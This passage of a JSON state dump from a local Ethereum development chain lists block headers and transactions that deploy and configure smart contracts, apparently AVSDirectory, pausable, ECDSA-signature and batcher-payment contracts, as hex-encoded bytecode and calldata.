9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f00000000000000000000000000000000000000000000000000000000000000004603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220238443f68aaa842a8a83f4f495dfe8380aabe34389d5eb96ae3c1857b4d66ef664736f6c634300081b0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","r":"0x5297b60d697d47fe9bdbf3f108cf77de27d3765ee9aaff6008aebdbd4b7e8f31","s":"0x2c82d85441f2a961a5de55ba8c682226a86c00da9b9c56641ac60915f927315a","yParity":"0x0","hash":"0x18eb6e3b17bc80bb91bbb894abe9fcda9515e26caad9f936a8c7539c2eb1818a"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x92debfefbf6241d89ef75629742fb8e51c70ce765df62e9a9d4cc79aaaa300cd","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xaee1b2075a82c48810c37956652c00dfe5bcdbf6704eb7487edf93c714c43923","transactionsRoot":"0x8c600293186b7e6b05845dfb53741a001e4f1d5b8f2c3abe583babc03647bd9d","receiptsRoot":"0x10a68645438f9ff52ff29efe8ff68923e2f914cf4bb42be46fe3a44cc10b11b7","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00002000000001000000000040000000400000000000000000800000000000000000000800000000000000000000000080800010000000100800000000000000000080000000008000002400000102000001000400000000000000008000000000000000020000000000008100010800000000000200000000000100000000400400000100000000000000000000000000000000000080000000000000000000000000000000000000004000400400000000000000000000000000000000000000000020480000280000000000041100000000002000000000000000000020000000000000000000000000800000000000000000000000000208100000408000","difficulty":"0x0","number":"0xb","gasLimit":"0x1c9c380","gasUsed":"0x8bd43","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x120ff134","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x30","gas":"0xad019","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","value":"0x0","accessList":[],"input":"0x9623609d000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3600000000000000000000000036c02da8a0983159322a80ffe9f24b1acff8b57000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000264dd8283f3000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000a82ff9afd8f496c3d6ac40e2a0f282e47488cfc900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000c80000000000000000000000000000000000000000000000000000000000002af8000000000000000000000000000000000000000000000000000000000000003200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000","r":"0x386afff8a1c0d6ba501bcf5f01b9c90d1309ab7e984abc21cb261898a1eb2d68","s":"0x1fa927190358a9e6f566aa90df2f52a83d314c50f51603d747b85ef2c12e73de","yParity":"0x0","hash":"0xf7c9e4de1144f679b9556ee611e54a7ff0a445dbbd1f30c62f0930d683101d3e"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x3098355f0f6dd62568e17628ad30031db81233a310f9b72ec667e97ae80479b5","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x4e5be95efd4566e0b268f71a3cb2f550648116e6c880d65bdfaa36ed7dd0a679","transactionsRoot":"0x9e17f4e91d109ee558e254fcb31c56fa60d69632e4b472879c3e83637d61b963","receiptsRoot":"0x6193b1bab62c50d49e00132c6500726ec7726b982dc46349fe52157303fb9261","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000000000000100000000000000000000000400080000000000400000002000001000240000000000000000000000000000000020000000000000100800800000004000000000000000000000000400000000100000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000002020400000200000000000040000000000002008000000000001000020000000000000000000000000000000000000000000000000000000000000400000","difficulty":"0x0","number":"0x13","gasLimit":"0x1c9c380","gasUsed":"0x2247c","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x710d9c9","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x16","gas":"0x2f597","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","value":"0x0","accessList":[],"input":"0x9623609d0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757070000000000000000000000009a676e781a523b5d0c0e43731313a708cb607508000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","r":"0x81984eadf6fa11b2fe04df40da0ededf673dc4ebd2f43a8f2dbb921b42352465","s":"0x203bdf4c4e3f2d641859308083f40e6e0a654b04aecc27dcaf0cdb166ff1e5f8","yParity":"0x1","hash":"0xe405e21ba26d4a3b0a72c85452048c4f59cb45eff93e20f4008c71fda12766b8"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x862d86059782d813228eeca6e42482fd07d3baf164c47520b0953001dfb46af9","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xbb93cadb8a3889ac4f788d159ad9ec72b6908f2365e0b63917dcdd5b1a6de38a","transactionsRoot":"0x31bc5e93aead970f271283deb6ca355074adc1010f3a4a1542428c755b966e62","receiptsRoot":"0x19e95c9ae96bcfaa35669da649163148d0399e12912dd92bd34428c6538b2f08","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000100000000000000000000000000000000040000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x1d","gasLimit":"0x1c9c380","gasUsed":"0x64c4","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x1eb21ee","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x20","gas":"0x8b2e","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e","value":"0x0","accessList":[],"input":"0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","r":"0x729bcd296b95dc9fbbed8beeb842a62c4366afa92bbccac951f3dacff067c0fd","s":"0x79af5af4279f42a9f851e8e3eeb8ac3c64b30df48035e1584ae364c9e678585a","yParity":"0x0","hash":"0x0407695da91c821753dcf7e68b5284a95c603e466b110cce53db7254dd1f1278"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xc853e45eb53976f04ee365f63723ad1c07285cbb5f8793e8544a1c720f7c9188","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xbfcb9a838db7774a9c45cf6511f63622a29cf6e3bc703a601d8f62f48dcdcddd","transactionsRoot":"0xfe3e9037506d101ab8d5e69238edb3bd68955da2cb07538b60f2c9f030bce47f","receiptsRoot":"0xe3bd3b346dd98e4c57fcc9d0b6073c51bbe56770bad863bd0f3f0f69dcd264a9","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000040000000400400000000000000800000000000000000000800000000000000000000000000000100000000100000000000000000000000000000000000000400000002000001000000000018000000000000000000000000020000000000000100000820000000000000000000000000000000400000000100000000000000000000000000000000000080000000100000000000000000000000000000000000000400000004000000000000000000000000000000000020400000280000000000040000100000002000000000000000000020000000000000000000000000000000000000000000000000000000000000400000","difficulty":"0x0","number":"0xd","gasLimit":"0x1c9c380","gasUsed":"0x28d80","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0xe9beb19","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x32","gas":"0x386a5","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","value":"0x0","accessList":[],"input":"0x9623609d000000000000000000000000851356ae760d987e095750cceb3bc6014560891c0000000000000000000000004c5859f0f772848b2d91f1d83e2fe57935348029000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a4f7013ef6000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb9226600000000000000000000000015d34aaf54267db7d7c367839aaf71a00a2c6a65000000000000000000000000a82ff9afd8f496c3d6ac40e2a0f282e47488cfc9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","r":"0xb6c2739984c45c6bb26243ecb877e5cb0a0306d533fb7a6997ca1025aab615ab","s":"0x56504df8a8797221bb68b4448c110b92b8e5c487575ca5641369448f74bef50e","yParity":"0x1","hash":"0xfd1e4dad05cf6f8f4a273aa51058132b350ba86adfa0c539039637f7f774f39f"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x33059d8f8045ab76330b67bb5295b073f693c43825fc25f858887aaefb6fe873","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xe70450b9a5b302bbee6dd2628efcc891e46d936c5fb86a249e4347312cda880f","transactionsRoot":"0xd19b96f117137b686ab202c67f5877b9e0e55cb7279c64bcb57a048a7ff02df4","receiptsRoot":"0xd3b5118af425291e43e5177e86c6d3290913e350eb53acb294ed27d83fb7677d","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000001000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000","difficulty":"0x0","number":"0x12","gasLimit":"0x1c9c380","gasUsed":"0x1791e5","timestamp":"0x6735270f","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x7a7ab33","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x38","gas":"0x1ea1d1","maxFeePerGas":"0x1172e753","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x60a06040523060805234801561001457600080fd5b5061001d610022565b6100e2565b600054610100900460ff161561008e5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff90811610156100e0576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b608051611a82610119600039600081816105e801528181610628015281816106d90152818161071901526107ac0152611a826000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab578063a69df4b51161006f578063a69df4b5146103c0578063a7d31809146103d5578063c0c53b8b146103f5578063c891091314610415578063f2fde38b1461046c578063f83d08ba1461048c57600080fd5b8063715018a61461034257806373e289d0146103575780638456cb591461036d5780638da5cb5b14610382578063953ef807146103a057600080fd5b80634d5431ea116100f25780634d5431ea146102865780634f1ef286146102bf57806352d1902d146102d257806358b96e27146102e75780635c975abb1461031f57600080fd5b806317d89c4e146101ad5780632df4e21e146101f95780632e1a7d4d1461022f5780633659cfe6146102515780633f4ba83a1461027157600080fd5b366101a85733600090815260fd60205260408120805434929061015290849061154c565b909155505033600081815260fd602052604080822060010191909155517f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be7709061019e9034815260200190565b60405180910390a2005b600080fd5b3480156101b957600080fd5b506101e66101c8366004611574565b6001600160a01b0316600090815260fd602052604090206002015490565b6040519081526020015b60405180910390f35b34801561020557600080fd5b506101e6610214366004611574565b6001600160a01b0316600090815260fd602052604090205490565b34801561023b57600080fd5b5061024f61024a366004611591565b6104a1565b005b34801561025d57600080fd5b5061024f61026c366004611574565b6105de565b34801561027d57600080fd5b5061024f6106bd565b34801561029257600080fd5b506101e66102a1366004611574565b6001600160a01b0316600090815260fd602052604090206001015490565b61024f6102cd3660046115c0565b6106cf565b3480156102de57600080fd5b506101e661079f565b3480156102f357600080fd5b5060fc54610307906001600160a01b031681565b6040516001600160a01b0390911681526020016101f0565b34801561032b57600080fd5b5060655460ff1660405190151581526020016101f0565b34801561034e57600080fd5b5061024f610852565b34801561036357600080fd5b506101e6610e1081565b34801561037957600080fd5b5061024f610864565b34801561038e57600080fd5b506033546001600160a01b0316610307565b3480156103ac57600080fd5b5060fb54610307906001600160a01b031681565b3480156103cc57600080fd5b5061024f610874565b3480156103e157600080fd5b5061024f6103f03660046116d0565b61090b565b34801561040157600080fd5b5061024f61041036600461178f565b610b9f565b34801561042157600080fd5b50610451610430366004611574565b60fd6020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016101f0565b34801561047857600080fd5b5061024f610487366004611574565b610de9565b34801561049857600080fd5b5061024f610e5f565b6104a9610ed5565b33600090815260fd6020526040902080548211156104ec5780546040516321c3d50f60e01b81526004810191909152602481018390526044015b60405180910390fd5b600181015415806105005750428160010154115b1561052d576001810154604051635f6e272d60e11b815260048101919091524260248201526044016104e3565b8181600001600082825461054191906117da565b909155505060006001820181905560405133917fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd91a2604051339083156108fc029084906000818181858888f193505050501580156105a4573d6000803e3d6000fd5b5060405182815233907feaff4b37086828766ad3268786972c0cd24259d4c87a80f9d3963a3c3d999b0d9060200160405180910390a25050565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001630036106265760405162461bcd60e51b81526004016104e3906117ed565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031661066f600080516020611a06833981519152546001600160a01b031690565b6001600160a01b0316146106955760405162461bcd60e51b81526004016104e390611839565b61069e81610f1b565b604080516000808252602082019092526106ba91839190610f23565b50565b6106c5611093565b6106cd6110ed565b565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001630036107175760405162461bcd60e51b81526004016104e3906117ed565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316610760600080516020611a06833981519152546001600160a01b031690565b6001600160a01b0316146107865760405162461bcd60e51b81526004016104e390611839565b61078f82610f1b565b61079b82826001610f23565b5050565b6000306001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461083f5760405162461bcd60e51b815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c000000000000000060648201526084016104e3565b50600080516020611a0683398151915290565b61085a611093565b6106cd600061113f565b61086c611093565b6106cd611191565b61087c610ed5565b33600090815260fd602052604081205490036108ad5760405163b38340cf60e01b81523360048201526024016104e3565b6108b9610e104261154c565b33600081815260fd6020526040908190206001018390555190917f43e8fb9d4f009c90c55a3fa108b177b794704d61af7af6f6512db7883f8ed8439161090191815260200190565b60405180910390a2565b60fc546001600160a01b03163314610938576040516302a5785160e31b81523360048201526024016104e3565b610940610ed5565b83600081900361096357604051630c43ac2960e41b815260040160405180910390fd5b82600003610984576040516351d432c560e11b815260040160405180910390fd5b8361098f8285611885565b116109c1578361099f8285611885565b604051637899ec7160e01b8152600481019290925260248201526044016104e3565b60005b818163ffffffff161015610aa257600087878363ffffffff168181106109ec576109ec61189c565b9050602002016020810190610a019190611574565b6001600160a01b038116600090815260fd60205260409020805491925090861115610a5b578054604051634f779ceb60e01b81526001600160a01b03841660048201526024810191909152604481018790526064016104e3565b600281018054906000610a6d836118b2565b919050555085816000016000828254610a8691906117da565b9250508190555050508080610a9a906118cb565b9150506109c4565b5060fb5460405163d66eaabd60e01b81526001600160a01b039091169063d66eaabd908690610adb908d908d908d9089906004016118ee565b6000604051808303818588803b158015610af457600080fd5b505af1158015610b08573d6000803e3d6000fd5b5050505050887f4f9439a5aed9cb470d2e0756e7d293accfe5223e719a9a1a256646378ec4375884604051610b3f91815260200190565b60405180910390a260fc546001600160a01b03166108fc85610b618487611885565b610b6b91906117da565b6040518115909202916000818181858888f19350505050158015610b93573d6000803e3d6000fd5b50505050505050505050565b600054610100900460ff1615808015610bbf5750600054600160ff909116105b80610bd95750303b158015610bd9575060005460ff166001145b610c3c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016104e3565b6000805460ff191660011790558015610c5f576000805461ff0019166101001790555b6001600160a01b038416610cae57604051630b0f5aa160e11b815260206004820152601560248201527430b634b3b732b229b2b93b34b1b2a6b0b730b3b2b960591b60448201526064016104e3565b6001600160a01b038316610d0557604051630b0f5aa160e11b815260206004820152601a60248201527f626174636865725061796d656e74536572766963654f776e657200000000000060448201526064016104e3565b6001600160a01b038216610d4c57604051630b0f5aa160e11b815260206004820152600d60248201526c18985d18da195c95d85b1b195d609a1b60448201526064016104e3565b610d546111ce565b610d5c6111fd565b610d64611224565b610d6d8361113f565b60fb80546001600160a01b038087166001600160a01b03199283161790925560fc8054928516929091169190911790558015610de3576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b610df1611093565b6001600160a01b038116610e565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104e3565b6106ba8161113f565b610e67610ed5565b33600090815260fd60205260408120549003610e985760405163366095e160e11b81523360048201526024016104e3565b33600081815260fd6020526040808220600101829055517fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd9190a2565b60655460ff16156106cd5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104e3565b6106ba611093565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff1615610f5b57610f5683611253565b505050565b826001600160a01b03166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610fb5575060408051601f3d908101601f19168201909252610fb29181019061192e565b60015b6110185760405162461bcd60e51b815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201526d6f6e206973206e6f74205555505360901b60648201526084016104e3565b600080516020611a0683398151915281146110875760405162461bcd60e51b815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f786044820152681a58589b195555525160ba1b60648201526084016104e3565b50610f568383836112ef565b6033546001600160a01b031633146106cd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104e3565b6110f5611314565b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f